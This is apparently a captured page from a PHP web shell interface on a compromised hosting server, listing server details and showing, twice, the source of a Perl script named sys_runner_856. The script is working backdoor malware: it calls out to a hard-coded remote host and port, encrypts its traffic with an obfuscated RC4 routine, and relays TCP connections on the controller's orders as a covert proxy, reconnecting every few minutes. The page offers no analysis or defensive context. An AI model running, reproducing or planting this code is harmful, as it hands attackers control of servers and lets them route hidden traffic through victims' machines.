#$@%#$%!

Ngiler SH3LL 360
: / dev / shm /

Information Server
MySQL : OFF Perl : OFF CURL : ON WGET : OFF PKEXEC : OFF

Directive	Local Value
IP Address	63.250.38.10
System	Linux premium90.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User	likhxapw
PHP Version	8.3.30
Software	LiteSpeed
Doc root	Writable

Edit File : sys_runner_856 \| Size : 10.69 KB
#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl qw(F_GETFL F_SETFL O_NONBLOCK); my $host = '62.60.131.197'; my $port = 4001; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my $domain; my $port0; my @socketarr; my @socketarray; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = "\x00" x 65536; my $buffer1 = "\x00" x 65536; my $isExit = 0; my $_ret0 = 0; my $ecx = 0; my $eax = 0; my $data = 0; my $_ret = 0; my $ebx = 0; my $edx = 0; my $counter = 0; my $countcc = 0; my $rin = ''; my $flags; for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } my $responce = "\x00\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); setsockopt($socketarr[0], SOL_SOCKET, SO_RCVBUF, pack("I", 65536)); setsockopt($socketarr[0], SOL_SOCKET, SO_SNDBUF, pack("I", 65536)); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); syswrite($socketarr[0], $buffer, length($buffer)); while(1) { $countcc = 0; $rin = ''; for (my $i = 1; $i < 200; $i++) { if ($socketarray[$i] == 1) { vec($rin, fileno($socketarr[$i]), 1) = 1; $countcc++; } } if ($countcc > 0) { unless (select($rin, undef, undef, 0.001)) { goto next__; } for (my $i = 1; $i < 200; $i++) { if (($socketarray[$i] == 1) && vec($rin, fileno($socketarr[$i]), 1)) { $data = sysread($socketarr[$i], $buffer1, 65530, 3); unless ($data) { $socketarray[$i] = 0; close($socketarr[$i]); substr($responce, 0, 3) = pack('C', $i)."\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); syswrite($socketarr[0], $responce, 3, 0); } else { substr($buffer1, 0, 3) = pack('C', $i).pack('S', $data); Rc4_crypt(\$xordata, 50, \$buffer1, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer1, 3, $data); syswrite($socketarr[0], $buffer1, 3 + $data); } } } } next__: if ($remaining4 != 4) { $rin = ''; vec($rin, fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 0.01); next if ($ret < 0); if ($ret == 0) { $counter++; if ($counter == 100 * 60) { $counter = 0; last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); syswrite($socketarr[0], $buffernull, length($buffernull)); } next; } } if ($remaining != 0 \|\| $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0 && $socketarray[$ebx] == 1) { $socketarray[$ebx] = 0; close($socketarr[$ebx]); substr($responce, 0, 3) = pack('C', $ebx)."\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); syswrite($socketarr[0], $responce, 3, 0); } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = sysread($socketarr[0], $buffer0, $ecx, $remaining + 4); unless ($data) { last; } $remaining += $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $_ret0 = 0; $socketarray[$ebx] = 1; substr($responce, 0, 13) = pack('C', $ebx)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; setsockopt($socketarr[$ebx], IPPROTO_TCP, TCP_NODELAY, 1); setsockopt($socketarr[$ebx], SOL_SOCKET, SO_RCVBUF, pack("I", 65536)); setsockopt($socketarr[$ebx], SOL_SOCKET, SO_SNDBUF, pack("I", 65536)); fcntl($socketarr[$ebx], F_SETFL, fcntl($socketarr[$ebx], F_GETFL, 0) \| O_NONBLOCK); if (unpack('C', substr($buffer0, 7, 1)) == 3) { $domain = substr($buffer0, 9, unpack('C', substr($buffer0, 8, 1))); $port0 = unpack('S', substr($buffer0, 9 + unpack('C', substr($buffer0, 8, 1)) + 1, 1).substr($buffer0, 9 + unpack('C', substr($buffer0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buffer0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buffer0, 8 + 0, 1)), unpack('C', substr($buffer0, 8 + 1, 1)), unpack('C', substr($buffer0, 8 + 2, 1)), unpack('C', substr($buffer0, 8 + 3, 1))); $port0 = unpack('S', substr($buffer0, 12 + 1, 1).substr($buffer0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port0, inet_aton($domain)); connect($socketarr[$ebx], $paddr); vec(my $win = '', fileno($socketarr[$ebx]), 1) = 1; unless (select(undef, $win, undef, 1)) { goto close_; } fcntl($socketarr[$ebx], F_SETFL, fcntl($socketarr[$ebx], F_GETFL, 0) ^ O_NONBLOCK); substr($responce, 4, 1) = "\x00"; $_ret0 = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); syswrite($socketarr[0], $responce, length($responce)); if ($_ret0 == 0) { $socketarray[$ebx] = 0; close($socketarr[$ebx]); substr($responce, 0, 3) = pack('C', $ebx)."\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); syswrite($socketarr[0], $responce, 3, 0); } } elsif ($socketarray[$ebx] == 1) { syswrite($socketarr[$ebx], $buffer0, $remaining, 4); } $remaining = 0; } } $remaining4 = 0; } else { $eax = 4; $eax = $eax - $remaining4; $data = sysread($socketarr[0], $buffer0, $eax, $remaining4); unless ($data) { last; } $remaining4 += $data; substr($buffernull, 0, 3) = "\x00\x00\x00"; $counter = 0; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { if ($socketarray[$i] == 1) { close($socketarr[$i]); } } if ($isExit == 1) { exit; } return $_ret; } while(1) { bccnct(\$host, \$port); sleep 180; } Back

Edit File : sys_runner_856 | Size : 10.69 KB

#!/usr/bin/perl

use strict;
use warnings;
use Socket;
use Socket qw(IPPROTO_TCP TCP_NODELAY);
use Fcntl qw(F_GETFL F_SETFL O_NONBLOCK);

my $host = '62.60.131.197';
my $port = 4001;

my $xordata = "\x00" x 50;

for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); }

sub Rc4_crypt {
	 
	 my $passw = shift(@_);
	 
	 my $length = shift(@_);
	 
	 my $buff0 = shift(@_);
	 
	 my $start = shift(@_);
	 
	 my $sz = shift(@_);
	 
	 my $rc4 = "\x00" x 256;
	 
	 my $pockemon0 = 0;
	
	 my $pockemon1 = 0;
	
	 my $pockemon2 = 0;
	
	 my $pockemon3 = 0;
	
	 my $pockemon4 = 0;
	
	 my $pockemon5 = 0;
	
	 my $pockemon6 = 0;
	
	 my $pockemon7 = 0;
	
	 my $pockemon8 = 0;
	 
	 my $rcx = $sz;
	 
	 my $rsi = 0;
	 
	 my $rbx = 0;
	 
	 my $gs = 0;
	 
	 my $t = 0;
	 
	 for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); }
	 
	 do {
		 
		 substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1))));
		 
		 $rsi++;
		
		 $rbx++;
		
		 $rcx--;
		
		 if ($rbx == $length) {
			 
			 $rbx = 0;
		}
		 
	} while($rcx > 0);
	
	
	 while(1) {
		 
		 if ($gs == 0) {
			 
			 $pockemon2 = 0;

$pockemon3 = $length;
		}
		 
		 if ($gs != 0) {
			 
			 $gs = 0;

$pockemon2++;

if (--$pockemon3 == 0) { next; }
			 
		}
		
		 $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1));
		 
		 $t = unpack('C', substr($$passw, $pockemon2, 1));

$pockemon1 += $t;

$pockemon1 = $pockemon1 & 255;

$pockemon1 += $pockemon7;

$pockemon1 = $pockemon1 & 255;

$pockemon6 = unpack('C', substr($rc4, $pockemon1, 1));
		 
		 substr($rc4, $pockemon0, 1) = pack('C', $pockemon6);
		 
		 substr($rc4, $pockemon1, 1) = pack('C', $pockemon7);
		 
		 $pockemon0++;

$pockemon0 = $pockemon0 & 255;
		 
		 if ($pockemon0 != 0) {
			 
			 $gs = 1;
			 
			 next;
		}
		
		 $pockemon4 = $sz;

$pockemon1 = 0;

$pockemon0 = 0;

$pockemon2 = 0;

$pockemon3 = 0;
		 
		 while(1) {
			 
			 $pockemon2++;

$pockemon2 = $pockemon2 & 255;

$pockemon7 = unpack('C', substr($rc4, $pockemon2, 1));
			 
			 $pockemon1 += $pockemon7;

$pockemon1 = $pockemon1 & 255;

$pockemon8 = unpack('C', substr($rc4, $pockemon1, 1));

substr($rc4, $pockemon2, 1) = pack('C', $pockemon8);
		 
			 substr($rc4, $pockemon1, 1) = pack('C', $pockemon7);

$pockemon8 += $pockemon7;
	
			 $pockemon8 = $pockemon8 & 255;

$pockemon0 = unpack('C', substr($rc4, $pockemon8, 1));
			 
			 $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1));

$pockemon5 = $pockemon5 ^ $pockemon0;
			 
			 substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5);
			 
			 $pockemon3++;
			 
			 if (--$pockemon4 == 0)
			 {
				 last;
			 }
			 
		}
		 
		 last;
	}
	
	 $rsi = 0;
	
	 $rcx = $sz;
	
	 $rbx = 0;
	
	 do {
		 
		 substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1))));
		 
		 $rsi++;
		
		 $rbx++;
		
		 $rcx--;
		
		 if ($rbx == $length) {
			 
			 $rbx = 0;
		}
		 
	} while($rcx > 0);
	
}

sub bccnct {

my $host = shift(@_);
	 
	 my $port = shift(@_);
	 
	 my $remaining = 0;
	 
	 my $remaining4 = 0;
	 
	 my $domain;
	 
	 my $port0;
	 
	 my @socketarr;
	 
	 my @socketarray;
	 
	 my $buffer = "\x00" x 100;
	 
	 my $buffernull = "\x00" x 3;
	 
	 my $buffer0 = "\x00" x 65536;
	 
	 my $buffer1 = "\x00" x 65536;
	 
	 my $isExit = 0;
	 
	 my $_ret0 = 0;
	 
	 my $ecx = 0;
	 
	 my $eax = 0;
	 
	 my $data = 0;
	 
	 my $_ret = 0;
	 
	 my $ebx = 0;
	 
	 my $edx = 0;
	 
	 my $counter = 0;
	 
	 my $countcc = 0;
		 
	 my $rin = '';
	 
	 my $flags;
	 
	 for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; }
	 
	 my $responce = "\x00\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00";
	 
	 socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
	 
	 setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1);
	 
	 setsockopt($socketarr[0], SOL_SOCKET, SO_RCVBUF, pack("I", 65536));
	 
     setsockopt($socketarr[0], SOL_SOCKET, SO_SNDBUF, pack("I", 65536));
	 
	 my $paddr = sockaddr_in($$port, inet_aton($$host));
	 
	 unless(connect($socketarr[0], $paddr)) { goto close0; }
	 
	 substr($buffer, 0, 50) = $xordata;
	 
	 substr($buffer, 50, 2) = "\xFF\xFF";
	 
	 substr($buffer, 54, 11) = "Perl script";
	 
	 Rc4_crypt(\$xordata, 50, \$buffer, 50, 50);
	 
	 syswrite($socketarr[0], $buffer, length($buffer));
	 
	 while(1) {
		 
		 $countcc = 0;
		 
		 $rin = '';
		 
		 for (my $i = 1; $i < 200; $i++) {
		 
			 if ($socketarray[$i] == 1) {
				 
				 vec($rin, fileno($socketarr[$i]), 1) = 1;
				 
				 $countcc++;
			 }
		 }
		 
		 if ($countcc > 0) {
			 
			 unless (select($rin, undef, undef, 0.001)) { goto next__; }
			 
			 for (my $i = 1; $i < 200; $i++) {
				 
				 if (($socketarray[$i] == 1) && vec($rin, fileno($socketarr[$i]), 1)) {
					 
					 $data = sysread($socketarr[$i], $buffer1, 65530, 3);
				 
					 unless ($data) {
					 
						 $socketarray[$i] = 0;
					 
						 close($socketarr[$i]);
		 
						 substr($responce, 0, 3) = pack('C', $i)."\x00\x00";
		 
						 Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
		 
						 syswrite($socketarr[0], $responce, 3, 0);
					 
					 }
				 
					 else {
						 
						 substr($buffer1, 0, 3) = pack('C', $i).pack('S', $data);
					 
						 Rc4_crypt(\$xordata, 50, \$buffer1, 0, 3);
		 
						 Rc4_crypt(\$xordata, 50, \$buffer1, 3, $data);
				 
						 syswrite($socketarr[0], $buffer1, 3 + $data);
					 
					 }
				 }
			 }
		 }
		 
		 next__:
		 
		 if ($remaining4 != 4) {
			 
			 $rin = '';
			 
			 vec($rin, fileno($socketarr[0]), 1) = 1;
			 
			 my $ret = select($rin, undef, undef, 0.01);
			 
			 next if ($ret < 0);
			 
			 if ($ret == 0) {
				 
				 $counter++;
				 
				 if ($counter == 100 * 60) {
					 
					 $counter = 0;

last if (substr($buffernull, 0, 3) ne "\x00\x00\x00");
				 
					 last if ($remaining != 0);
				 
					 last if ($remaining4 != 0);
				 
					 Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3);
				 
					 syswrite($socketarr[0], $buffernull, length($buffernull));
				 }
				 
				 next;
			}
			 
		}
		 
		 if ($remaining != 0 || $remaining4 == 4) {
			 
			 if ($edx == 0) {
				 
				 if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") {
					 
					 $isExit = 1;
					 
					 last;
					 
				}
				 
				 elsif ($ebx < 200 && $ebx > 0 && $socketarray[$ebx] == 1) {
				 
					 $socketarray[$ebx] = 0;
					 
					 close($socketarr[$ebx]);
		 
					 substr($responce, 0, 3) = pack('C', $ebx)."\x00\x00";
		 
					 Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
		 
					 syswrite($socketarr[0], $responce, 3, 0);
				 
				}
			
			}
			
			else {
				
				 $ecx = $edx;
				
				 $ecx = $ecx - $remaining;
				 
				 $data = sysread($socketarr[0], $buffer0, $ecx, $remaining + 4);
				
				 unless ($data) { last; }
				 
				 $remaining += $data;
				 
				 if ($edx == $remaining) {
					 
					 Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining);
					 
					 if (unpack('C', substr($buffer0, 0, 1)) == 0) {
						 
						 socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
						 
						 $_ret0 = 0;
						 
						 $socketarray[$ebx] = 1;
						 
						 substr($responce, 0, 13) = pack('C', $ebx)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00";
						 
						 setsockopt($socketarr[$ebx], IPPROTO_TCP, TCP_NODELAY, 1);
						 
						 setsockopt($socketarr[$ebx], SOL_SOCKET, SO_RCVBUF, pack("I", 65536));
	 
						 setsockopt($socketarr[$ebx], SOL_SOCKET, SO_SNDBUF, pack("I", 65536));
						 
						 fcntl($socketarr[$ebx], F_SETFL, fcntl($socketarr[$ebx], F_GETFL, 0) | O_NONBLOCK);
						 
						 if (unpack('C', substr($buffer0, 7, 1)) == 3) {
			
							 $domain = substr($buffer0, 9, unpack('C', substr($buffer0, 8, 1)));
			
							 $port0 = unpack('S', substr($buffer0, 9 + unpack('C', substr($buffer0, 8, 1)) + 1, 1).substr($buffer0, 9 + unpack('C', substr($buffer0, 8, 1)) + 0, 1));
			
						 }
		
						 elsif (unpack('C', substr($buffer0, 7, 1)) == 1) {
			
							 $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buffer0, 8 + 0, 1)), unpack('C', substr($buffer0, 8 + 1, 1)), unpack('C', substr($buffer0, 8 + 2, 1)), unpack('C', substr($buffer0, 8 + 3, 1)));
			
							 $port0 = unpack('S', substr($buffer0, 12 + 1, 1).substr($buffer0, 12 + 0, 1));
			
						 }
		
						 else {
			
							 goto close_;
						 }
						 
						 eval {
			 
							 my $paddr = sockaddr_in($port0, inet_aton($domain));
		
							 connect($socketarr[$ebx], $paddr);
		 
							 vec(my $win = '', fileno($socketarr[$ebx]), 1) = 1;

unless (select(undef, $win, undef, 1)) { goto close_; }
			
							 fcntl($socketarr[$ebx], F_SETFL, fcntl($socketarr[$ebx], F_GETFL, 0) ^ O_NONBLOCK);
		 
							 substr($responce, 4, 1) = "\x00";
		 
							 $_ret0 = 1;
			 
						 };
		 
						 close_:
						 
						 Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
		 
						 Rc4_crypt(\$xordata, 50, \$responce, 3, 10);
		 
						 syswrite($socketarr[0], $responce, length($responce));
						 
						 if ($_ret0 == 0) {
							 
							 $socketarray[$ebx] = 0;
		 
							 close($socketarr[$ebx]);
		 
							 substr($responce, 0, 3) = pack('C', $ebx)."\x00\x00";
		 
							 Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
		 
							 syswrite($socketarr[0], $responce, 3, 0);
							 
						 }
						 
					}
					
					 elsif ($socketarray[$ebx] == 1) {
						 
						 syswrite($socketarr[$ebx], $buffer0, $remaining, 4);
						 
						 
					}
					 
					 $remaining = 0;
				}
				
			}
			 
			 $remaining4 = 0;
			 
		}
		
		else {
			
			 $eax = 4;
			
			 $eax = $eax - $remaining4;
			 
			 $data = sysread($socketarr[0], $buffer0, $eax, $remaining4);
			 
			 unless ($data) { last; }
			 
			 $remaining4 += $data;
			 
			 substr($buffernull, 0, 3) = "\x00\x00\x00";
			 
			 $counter = 0;
			 
			 if ($remaining4 == 4) {
				 
				 Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4);
				 
				 $ebx = unpack('C', substr($buffer0, 1, 1));
				 
				 $edx = unpack('S', substr($buffer0, 2, 2));
			 
				 $_ret = 1;
			}
			
		}
	}
	
	 close0:
	 
	 close($socketarr[0]);
	 
	 for (my $i = 0; $i < 200; $i++) {

if ($socketarray[$i] == 1) { close($socketarr[$i]); }
		 
	 }
	 
	 if ($isExit == 1) { exit; }
	 
	 return $_ret;

}

while(1)
{
	 bccnct(\$host, \$port);
	 
	 sleep 180;
}

Back